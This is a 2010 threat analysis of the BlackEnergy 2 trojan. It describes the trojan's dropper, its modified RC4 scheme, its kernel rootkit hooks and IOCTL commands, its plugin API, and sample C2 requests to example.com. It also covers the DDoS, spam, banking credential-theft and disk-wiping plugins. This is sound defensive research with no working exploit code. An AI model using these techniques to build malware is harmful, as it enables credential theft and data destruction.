# BlackEnergy Version 2 Threat Analysis **secureworks.com/research/blackenergy2** Joe Stewart Wednesday, March 3, 2010 By: Joe Stewart ## Introduction ----- BlackEnergy, a popular DDoS Trojan, gained notoriety in 2008 when it was reported to have been used in the cyber attacks launched against the country of Georgia in the Russia/Georgia conflict. BlackEnergy was authored by a Russian hacker. A comprehensive analysis of the version of BlackEnergy circulating at the time was done in 2007 by Arbor Networks. Although many versions of the trojan builder kit are in circulation on underground forums, the last release of the original BlackEnergy trojan available at the time of this writing seems to be version 1.9.2. It appears however that BlackEnergy 2 has been in quiet development for over a year, and is a top-to-bottom rewrite of the codebase. Although there have been no public releases of the trojan builder kit for BlackEnergy 2 at this time (and thus we do not have any documentation actually containing the name "BlackEnergy 2", it is certain that this new trojan is the successor to BlackEnergy version 1, even if the author chooses to rename it. Various fingerprints of the original BlackEnergy codebase can be found throughout the new trojan, along with fingerprints of other source codes which were released by the author at different times. This analysis will refer to BlackEnergy version 2 as ?BE2? at times throughout for the sake of brevity. Unlike the old BlackEnergy versions, BlackEnergy 2 uses modern rootkit/process-injection techniques, strong encryption and a modular architecture. The original BlackEnergy kit did have a rudimentary trojan component used to hide the trojan executable and process, but BlackEnergy 2 is much more sophisticated. The basis for the new rootkit seems to be found in an older rootkit project released by the author called "BlackReleaver". Analysis of the code has shown that the older rootkit source code has been combined with new functions for unpacking and injecting modules into user processes and is now the core of the new rootkitbased BlackEnergy 2. There is no distinct antivirus trojan family name that corresponds to the BE2 dropper or rootkit driver. Antivirus engines that detect it either label it with a generic name, or as another trojan - most often it is mis-identified as "Rustock.E", another rootkit trojan from a different malware family. The BlackEnergy rootkit does share some techniques in common with the Rustock rootkit, so this detection is not surprising. Even at a high level, there are some [common tactics, such as the use of a "matryoshka doll" architecture (see ThreatExpert's blog](http://www.threatexpert.com/) [entry "Rustock.C - Unpacking a Nested Doll").](http://blog.threatexpert.com/2008/05/rustockc-unpacking-nested-doll.html) ----- _Structure and Flow of BlackEnergy 2.x Unpacking/Injection_ ## Dropper The initial BlackEnergy 2 trojan infection is a "dropper", which decrypts and uncompresses the rootkit driver binary and installs it as a service with a randomly generated name. Using droppers that unpack and install another piece of malware is a routine technique, even though the packing method used tends to vary quite a bit. The basic scheme used in the BE2 dropper is also used throughout the different BlackEnergy modules ? packed content is compressed using the LZ77 algorithm and encrypted using a modified version of the venerable RC4 cipher. For decrypting embedded content a hard-coded 128-bit key is used. For decrypting network traffic, the cipher uses the bot's unique identification string as the key. A second variant of the encryption/compression scheme adds an initialization vector to the modified RC4 cipher for an extra protection in the dropper and rootkit unpacking stub, but is not used in the inner rootkit nor in the userspace modules. The primary modification in the RC4 implementation in BlackEnergy 2 lies in the keyscheduling algorithm. According to Wikipedia, the (alleged) KSA of RC4 can be described by the following code: ``` for i from 0 to 255 S[i] := iendforj := 0for i from 0 to 255 j := (j + S[i] + key[i mod keylength]) mod 256 swap(&S[i],&S[j])endfor ``` ----- The KSA implementation in BE2 takes a shortcut that makes for a simpler (and probably less secure) implementation, and is equivalent to the following code: ``` for i from 0 to 255 S[i] := iendforfor i from 0 to 255 S[i] = S[i] xor key[i mod keylength]endfor ``` It is unclear if the author of the intentionally introduced these differences in order to break compatibility with other RC4 implementations, or if they are simply mistakes. The dropper also contains an exploit for the vulnerability described in Microsoft Bulletin MS08-025, allowing the trojan installer to escalate its privileges on the system in cases where the infected user may be running under a limited user account without permission to install new system services. Assuming they have not installed Microsoft's patch for MS08025, the trojan could then complete the task of installing the rootkit driver. The exploit code in the binary can be traced to source code of a proof-of-concept MS08-025 exploit authored and released in May 2008. _MS08-25 PoC Exploit by the Black Energy Author_ ## Rootkit The rootkit driver installed by the dropper file contains an unpacking stub that decrypts and decompresses the real rootkit driver embedded within the binary. Once the main driver is unpacked and address offset fixups remapped, the stub transfers control to the entry point of the rootkit. The rootkit performs three primary functions: Hiding objects on disk, in the registry and in memory through API hooking Providing a method for modules to bypass the rootkit's hooks for certain functions Injection of the main BE2 DLL into svchost.exe in userspace These tasks are carried out by hooking a number of Windows kernel functions, adding additional code that all programs/kernel drivers which use the API will then run prior to or after the real API code is called. This is accomplished by searching for the following ----- functions in the kernel s system service descriptor table (SSDT) and replacing them with calls to handler functions in the rootkit's code section. NTEnumerateValueKey NTSetValueKey NTOpenKey NTSetContextThread NTDeleteValueKey NTEnumerateKey NtOpenProcess NTQuerySystemInformation NTProtectVirtualMemory NTTerminateThread NTWriteVirtualMemory NTSuspendThread NtOpenThread When the hook handler for each API executes, it checks the arguments provided by the calling function against an in-memory list of rules defining strings or values for which access should be denied to all processes except the control process (the instance of svchost.exe into which the main DLL was loaded). In this way the rootkit can hide the presence of (or at least block access to) processes, files, registry keys and values, memory objects/ranges and threads from processes that would attempt to inspect them in order to detect the presence of the rootkit. Some of the rules are made persistent by storing them under the same system service registry key as the rootkit driver, using the value name "RulesData". Rules are categorized by a rule type, which may be one of the following: _Code_ _Persistent_ _Protected Object Type_ 01 No Process 02 Yes File 03 Yes Registry Key 04 Yes Registry Value 07 No Virtual Memory Range 08 No Thread _BlackEnergy v2.x Rule Types_ ----- The rootkit driver uses an IOCTL interface to facilitate communication between itself and the main DLL module loaded into the svchost.exe process. The following table shows all the possible command codes that can be passed in the IOCTL buffer in order to indicate which function the rootkit should perform on behalf of the main DLL. _Code_ _Function_ 01 Add a new protected process to the ruleset 02 Add a new protected file to the ruleset 03 Add a new protected registry key to the ruleset 04 Add a new protected registry value to the ruleset 05 Hide a process by unlinking it from the kernel's process list 06 Load a new driver into kernel memory 07 Add a new protected memory range to the ruleset 08 Add a new protected object to the ruleset 09 Uninstall rootkit 10 Add a new library to the injection list 11 Remove a library from the injection list 12 Add a new process to the injection target list 13 Remove a process from the injection target list 14 Register control process PID 15 Call to original (non-hooked) NtOpenKey kernel API 16 Call to original (non-hooked) NtOpenFile kernel API 17 Call to original (non-hooked) NtShutdownSystem kernel API _BlackEnergy v2.x IOCTL Command Prefixes_ Finally, the rootkit driver is designed to unpack a DLL embedded inside itself and inject it into userspace, starting an instance of svchost.exe to receive the injected module. ## Main DLL ----- BE2 utilizes a plugin-based architecture, allowing anyone with knowledge of the API to add new functionality to the trojan. The main DLL exposes this API and is responsible for loading the plugins. Without plugins, the built-in functionality of BE2 is very limited. The main module recognizes only the following commands from the controller: **rexec - download and execute a remote file** **lexec - execute a local command using cmd.exe** **die - uninstall BE2** **upd - download and install a remote update to BE2** **setfreq ? change the phone-home interval for the trojan** The plugin API of BlackEnergy 2 is provided by the main DLL using the following exported functions: _Export_ _Purpose_ ConfAllocGetTextByNameA ConfAllocGetTextByNameW ConfGetListNodeByName ConfGetNodeByName ConfGetNodeTextA ConfGetNodeTextW ConfGetPlgNode ConfGetRootNode Functions to retrieve or set variables in the XML configuration DownloadFile Download a remote file GetBotIdent Get the ID string of the bot PlgSendEvent Send a Windows API event PlgGetValue PlgSetValue PlgUnsetValue Read, write or delete registry key values RkInjectLibraryAddProcess Add a new process to the list of userspace injection targets RkInjectLibrarySet RkInjectLibraryUnset Add or remove library to be injected into userspace process RkLoadKernelImage Load a new kernel driver RkProtectObject Protect a memory object SrvAddRequestBinaryData Append binary data to the controller HTTP POST SrvAddRequestStringData Append a new text variable to the controller HTTP POST ----- SrvSendRequestNow Send the prepared HTTP POST to the controller _BlackEnergy v2.x Plugin API_ ## Local Configuration File Embedded within the main DLL is an encrypted and compressed XML file containing the initial configuration options for the trojan. A typical configuration might look like the following: ``` http http://example.com/getcfg.php 30 1 ``` _BlackEnergy v2.x Embedded Configuration File_ This file contains instructions on the trojan controller URL(s), any commands to be executed initially, the phone-home interval, a unique build id for the trojan, all of which are customized in the interface of the trojan builder kit. ## Network Communication The network communication format closely resembles the BlackEnergy v1.x requests, with some minor changes and three additional POST variables: ``` POST /stat.php HTTP/1.1 Content-Type: application/x-wwwform-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)Host: example.com Content-Length: 33 Cache-Control: no-cache id=xCOMP_3FA21CD8&build_id=1 ``` _BlackEnergy v1.x HTTP Request_ ``` POST /getcfg.php HTTP/1.0 Content-Type: application/x-wwwform-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Host: example.com ContentLength: 43 Pragma: no-cache id=xCOMP_3FA21CD8&ln=en&cn=US&nt=2600&bid=1 ``` _BlackEnergy v2.x HTTP Request_ ----- More recent variants of BE2 have an additional encryption option in order to defeat detection of the network traffic by known patterns/variables in the normal requests. A configuration option "http_key" may be specified in the XML configuration file. If present, the full HTTP POST variable string will be encrypted using the provided key with the modified RC4 algorithm, then hex-encoded and appended as a value to a new, randomly-generated variable name. Such a post might resemble the following: ``` POST /getcfg.php HTTP/1.0Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)Host: example.comContent-Length: 126Pragma: no-cache sksgh=E22EA13DA2170ACCC10CBA67C12ED8CB83774E032FC65BAEC5FA5CD826694619 FABBF69297335C5A91BD02B2C7BB1E5AA0649991F2D6613888AD6749 ``` _BlackEnergy v2.x HTTP Request with Encrypted Variables_ ## Remote Configuration File The controller's response to the initial HTTP POST from the trojan is an encrypted XML configuration file, which contains additional instructions for the trojan that are set/modified using the HTML/PHP-based controller interface. When decrypted, the file resembles the same format as the embedded XML configuration, with additional fields. The main purpose of the network-supplied configuration is to specify which plugins to load, by adding a "plugins" node to the XML: ``` ? ddos 1 http 1 syn 1 ? ``` _BlackEnergy v2.x Remote Configuration File Snippet_ ----- The configuration snippet above tells the trojan to load three plugins from the controller. To do so, the main DLL forms another HTTP POST request to the controller, this time prepending the variable "getp", to specify which plugin to download. ``` POST /getcfg.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Host: example.com Content-Length: 43 Pragma: no-cache getp=ddos&id=xCOMP_3FA21CD8&ln=en&cn=US&nt=2600&bid=1 ``` _BlackEnergy v2.x Plugin Download Request_ The downloaded plugins are decrypted (using the same modified-RC4 algorithm) and loaded into the same process as the main BE2 DLL. In order to save the controller's network bandwidth, copies of the plugins are also cached locally in an encrypted database stored in a (rootkit-protected) file named "str.sys" in the system drivers directory. The plugins each have their own configuration node called "plg_data" in the downloaded XML file, and commands for the plugins to execute are added to the global ?cmds? node. All plugins export two functions of their own, ?DispatchCommand? and ?DispatchEvent?, which the main DLL will call when there are new commands or events to process. In the example below, the command ?ddos_start? is given, which will be dispatched by one of the modules. Under plg_data is a configuration node called ?ddos?, which contains other parameters for the attack. The syntax for specifying the parameters is very similar to that of BlackEnergy v1.x: ``` ?ddos_start http example.com 1000 30 1 1000 300 3 1000 ``` ----- ``` 50 5 50 5 20 2 20 2 ? ``` _BlackEnergy v2.x Plugin Configuration_ ## New BE2 Plugins Developed for Spam and Online Banking Fraud The plugin architecture allows for virtually any kind of code to be added to BE2 by third parties with a copy of the kit, without needing the actual source code to the trojan. Three different plugins for launching DDoS attacks have been observed and appear to be the default plugins set. Together, these three modules reproduce the same DDoS functionality that existed in BlackEnergy v1.x. A spam plugin has also been seen in the wild, and separately, a pair of plugins designed to facilitate online banking fraud. _Plugin_ _Name_ **DDoS** **Plugins** _Module_ _Name_ _Description_ ddos ddos.dll This is a general-purpose plugin to launch random TCP, UDP, ICMP and HTTP attack traffic against a target, using the parameters supplied in the remote XML configuration file. syn syn.dll This plugin loads a kernel driver that can flood a target with TCP SYN packets. Because the attack originates from the kernel, the SYN packets can be sent quickly and without impacting the TCP state table of the system, which can only maintain a limited number of entries. ----- http http.dll This plugin uses OLE automation in Internet Explorer to flood a target with HTTP requests. While slower than the socket-based HTTP attack in the "ddos" plugin above, it has the advantage of making it more difficult for a remote site to distinguish attack traffic from normal browsing. **Spam** **Plugin** spm_v1 spm_v1.dll This plugin is a recompiled version of an older spambot called ? Grum?, which has been altered to work with the BE2 plugin architecture. It uses its own protocol to phone home to a Grum spam controller, and is not configured via the BE2 XML options. **Banking** **Fraud** **Plugins** knab ibank.dll See detailed description below. kill kill.dll See detailed description below. _Known BlackEnergy v2.x Plugins_ ## Banking Plugin Details The banking plugins, like the spam plugin, do not appear to be in wide circulation, and may not be part of the default install. With some trojans, additional plugins with desirable functionality are sometimes offered as an extra option available for a fee. The same may be true with some of the lesser-distributed BlackEnergy 2 plugins. ### ibank.dll This plugin is designed to steal banking credentials from an infected user. There are two components to the plugin, a master module that uses the BE2 plugin API to inject an embedded sub-module into the following browser processes: iexplore.exe firefox.exe flock.exe opera.exe java.exe In each process, the sub-module loops while searching for any windows with a ClassName of SunAwtFrame or SunAwtDialog, indicating a Java-based dialog. The sub-module sets up a thread to inject itself into the Java process for each window found in order to log ----- keystrokes typed or clipboard data pasted into those dialogs. The sub-module also hooks the NtCreateFile API, and every time a file is opened by the injected process, the first four bytes are read by the sub-module. If they match the string "iBKS", the complete file is stored in the memory of the sub-module. Additionally, the sub-module hooks several APIs in the process space of the browser, in order to capture and log URLs that have been requested. Finally, the sub-module hooks the "WSASend" and "send" Windows socket APIs, and every time one of those functions is called, the hook handler checks to see if the buffer is eight bytes in length. If it is, the first three bytes are compared to see if they match the little-endian binary value 0x10000 ("00 00 01"). If the buffer matches, the sub-module takes all the accumulated iBKS files, keystroke logs and URL logs, archives them in PKZIP format, and sends them to the master ibank.dll module via a named pipe. The master ibank.dll module receives the archived file from the named pipe, and sends it back to the BE2 controller using the "SrvAddRequestBinaryData" and "SrvSendRequestNow" plugin API calls. The binary data is added to the BE2 request using the POST variable name "ib_arch_data". The entire process above is designed to facilitate theft from a specific public-key-based Internet banking system which is widely used by a large number of Russian and Ukrainian banks. The banking system targeted by ibank.dll uses a signed Java applet to load a user's private key from a removable disk, then a passphrase is entered into the Java dialog in order to unlock the key and cryptographically sign a message which authenticates the user to the bank at the start of the banking session. Theft of the user's credentials is accomplished by stealing the user's private encryption key (which is located in a file which starts with ?iBKS?) as it is read by the applet, and stealing the user's passphrase as it is typed/pasted into the dialog. The stolen data, along with a list of URLs that were accessed at the same time (so that the thief knows which bank the credentials are for) is sent back to the BE2 controller at the moment the login request (an 8byte packet beginning with "00 00 01") is sent to the banking application server. ## Hackers Pair Banking Trojan with a System Destruct Module Paired with the banking trojan plugin is a module that is designed to destroy the filesystem of the infected computer. If the command "kill" is specified in the configuration node in the downloaded XML configuration file when this DLL is loaded, the trojan will loop through each fixed drive listed in Windows, overwriting the first 4,096 clusters with random data, then attempting to delete the files "ntldr" and "boot.ini" from the root of the filesystem. After rendering each disk unreadable/unbootable by Windows, the module shuts down the system. ----- This functionality is likely to be used after the banking credentials have been used by the criminal operating the BE2 backend, in order to prevent the rightful owner of the bank account from being able to log in and see that money has been transferred out of the account and notifying the bank. ## Variant Releases The following versions of BE2 have been seen in the wild since 2008. The compile timestamps of the unpacked rootkit driver and the main DLL packed inside each dropper give us a timeline of BE2 releases. The version numbers shown in the table below are merely speculative, no official version numbers could be found in the trojan binaries: _Version Equivalent_ _Rootkit Timestamp_ _Embedded Main DLL Timestamp_ 2.0 August 12, 2008 August 12, 2008 2.0.1 August 12, 2008 August 13, 2008 2.0.2 August 12, 2008 October 14, 2008 2.0.3 December 21, 2008 December 21, 2008 2.0.4 December 27, 2008 December 21, 2008 2.1.0 March 25, 2009 March 25, 2009 2.1.1 March 25, 2009 April 27, 2009 2.1.2 May 24, 2009 May 27, 2009 2.1.3 July 10, 2009 June 22, 2009 _Known BlackEnergy v2.x Releases_ ## Conclusion BlackEnergy 2 is a significant leap forward in capability from its predecessor. With the existing plugins it already captures the three main cornerstones of modern cybercrime. If it is ever released to the wider underground, it will likely become as or more popular than the original version. With previous modular trojan applications we have seen entire communities spring up around adding new functionality to the platform, extending its criminal capabilities in ways never imagined by the author. It remains to be seen whether BE2 will continue to be held privately, or will be found in wide circulation soon. Either way, there is much more room for innovation in both stealth and functionality in future BlackEnergy 2 releases. -----